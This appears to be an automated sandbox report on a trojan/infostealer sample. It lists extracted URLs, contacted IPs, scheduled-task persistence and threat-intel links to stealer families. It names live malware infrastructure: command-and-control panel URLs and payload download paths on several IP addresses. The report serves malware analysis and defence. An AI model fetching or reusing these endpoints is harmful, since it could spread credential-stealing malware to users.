http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/burpin1/random.exees/burpin1/random.exe4001	skotes.exe, 00000011.00000002.3321172986.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false		high
http://specs.openid.net/auth/2.0$dnoa.request_nonce	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpfox	random.exe.7.exe, 00000000.00000002.2686782883.0000000000FB7000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpation	random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	false		high
http://31.41.244.11/files/burpin1/random.exe01	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/burpin1/random.exeed2/	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/8047245472/Cq6Id6x.exe	skotes.exe, 00000011.00000002.3321172986.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3321172986.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpUser	random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	false		high
http://specs.openid.net/extensions/pape/1.0	Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false		high
http://31.41.244.11/files/burpin1/random.exe6O2	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	random.exe.7.exe, random.exe.7.exe, 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp	false		high
http://openid.net/xmlns/1.08http://openid.net/signon/1.0	Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllIk	random.exe.7.exe, 00000000.00000002.2685829562.0000000000493000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/burpin1/random.exedc4e1v	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	random.exe.7.exe, 00000000.00000003.2574344595.000000000B815000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/burpin1/random.exeb2	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://openid.net/srv/ax/1.0	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false		high
http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	183776ee1b.exe, 0000001C.00000003.3296282086.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/burpin1/random.exe7d1	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex	svchost.exe, 00000016.00000002.3196888826.000000000296C000.00000004.00000010.00020000.00000000.sdmp	false		high
http://185.215.113.206c4becf79229cb002.php08727f07d07c87b82d81207b9d6e-release	random.exe.7.exe, 00000000.00000002.2686782883.0000000000FB7000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://specs.openid.net/extensions/oauth/1.0	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	random.exe.7.exe, 00000000.00000003.2574344595.000000000B815000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/	Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://openid.net/signon/1.1	Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false		high
http://openid.net/sreg/1.04http://openid.net/sreg/1.1	Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/GS	183776ee1b.exe, 0000001C.00000003.3296282086.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe	svchost.exe, 00000016.00000002.3196888826.000000000296C000.00000004.00000010.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/8047245472/Cq6Id6x.exeswsock.dll	skotes.exe, 00000011.00000002.3321172986.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lossekniyyt.click/$G	Cq6Id6x.exe, 00000014.00000002.3113701494.0000000001854000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://lossekniyyt.click/	Cq6Id6x.exe, 00000014.00000002.3113518242.0000000001829000.00000004.00000020.00020000.00000000.sdmp, Cq6Id6x.exe, 00000014.00000002.3113701494.0000000001854000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpI	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/	Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll9	random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/	Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dll)	random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://specs.openid.net/auth/2.0	Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lossekniyyt.click/tG	Cq6Id6x.exe, 00000014.00000002.3113701494.0000000001854000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.openid.net/pape/policies/2007/06/none	Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpc/	random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lossekniyyt.click/apio	Cq6Id6x.exe, 00000014.00000002.3113360569.00000000017F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/cA	random.exe.7.exe, 00000000.00000002.2685829562.00000000004C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/8047245472/Cq6Id6x.exeXYZ0123456789	skotes.exe, 00000011.00000002.3321172986.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2706172568.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/burpin1/random.exe#2	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/burpin1/random.exe60ac02b4ded8abeee1fbc96a805147	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://namespace.google.com/openid/xmlns	Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/dodo/random.exe9	skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf	Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllv&E-	random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sectigo.com/CPS0	skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://openid.net/extensions/sreg/1.1	Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/	183776ee1b.exe, 0000001C.00000003.3296282086.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.179.109	grannyejh.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.12.88	lossekniyyt.click	United States	13335	CLOUDFLARENETUS	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577542
Start date and time:	2024-12-18 15:19:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	random.exe.7.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@53/67@7/10
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.206, 64.233.162.84, 172.217.17.46, 172.217.17.67, 199.232.214.172, 216.58.208.234, 172.217.19.234, 142.250.181.138, 172.217.19.202, 172.217.19.170, 172.217.21.42, 142.250.181.106, 172.217.17.74, 172.217.17.42, 142.250.181.10, 142.250.181.74, 172.217.19.10, 192.229.221.95, 142.250.181.42, 13.107.246.63, 20.109.210.53, 23.218.208.109
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: random.exe.7.exe

Simulations

Behavior and APIs

Time	Type	Description
09:21:05	API Interceptor	7864x Sleep call for process: random.exe.7.exe modified
09:22:01	API Interceptor	379x Sleep call for process: skotes.exe modified
09:22:15	API Interceptor	3x Sleep call for process: Cq6Id6x.exe modified
09:22:34	API Interceptor	2x Sleep call for process: 183776ee1b.exe modified
15:21:38	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.179.109	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
172.67.179.109	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
185.215.113.16	goldlummaa.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	185.215.113.16/inc/trunk.exe
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse	185.215.113.16/steam/random.exe
	jYd7FUgGZc.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.16/luma/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
grannyejh.lat	random.exe.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.64.80
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109
plus.l.google.com	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse	142.250.181.46
	https://stgasplitrelatorios.blob.core.windows.net/splitrelatorios90dias/10035_20241217.zip?se=2024-12-18T14%3A42%3A10Z&sp=r&spr=https&sv=2019-02-02&sr=b&sig=5ltPQNyZzXUXi0ItA58/8wM4EzPwCnTr/mCY1cev%2Bng%3D	Get hash	malicious	Unknown	Browse	172.217.19.238
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	142.250.181.46
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	142.250.181.46
	https://2024sharepointonline.z28.web.core.windows.net/	Get hash	malicious	Unknown	Browse	142.250.181.46
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	172.217.17.46
	https://technicalwriterhq.com/	Get hash	malicious	Unknown	Browse	172.217.17.46
	tightvnc-2.8.59-gpl-setup-64bit.msi	Get hash	malicious	Unknown	Browse	142.250.181.78
	https://usps.com-sglw.top/I	Get hash	malicious	Unknown	Browse	172.217.17.46

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	goldlummaa.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	cred.dll	Get hash	malicious	Amadey	Browse	185.215.113.209
	xxz.exe	Get hash	malicious	Xmrig	Browse	185.215.113.117
	88aext0k.exe	Get hash	malicious	Xmrig	Browse	185.215.113.217
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	185.215.113.17
	am209.exe	Get hash	malicious	Amadey	Browse	185.215.113.209
	cred64.dll.dll	Get hash	malicious	Amadey	Browse	185.215.113.209
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.17
CLOUDFLARENETUS	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	https://heyzine.com/flip-book/f976862c0c.html	Get hash	malicious	Unknown	Browse	172.67.73.205
	H3G7Xu6gih.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	HI6VIJERUn.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	DocuStream_Scan_l8obgs3v.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	random.exe.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	162.159.140.147
WHOLESALECONNECTIONSNL	goldlummaa.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	cred.dll	Get hash	malicious	Amadey	Browse	185.215.113.209
	xxz.exe	Get hash	malicious	Xmrig	Browse	185.215.113.117
	88aext0k.exe	Get hash	malicious	Xmrig	Browse	185.215.113.217
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	185.215.113.17
	am209.exe	Get hash	malicious	Amadey	Browse	185.215.113.209
	cred64.dll.dll	Get hash	malicious	Amadey	Browse	185.215.113.209
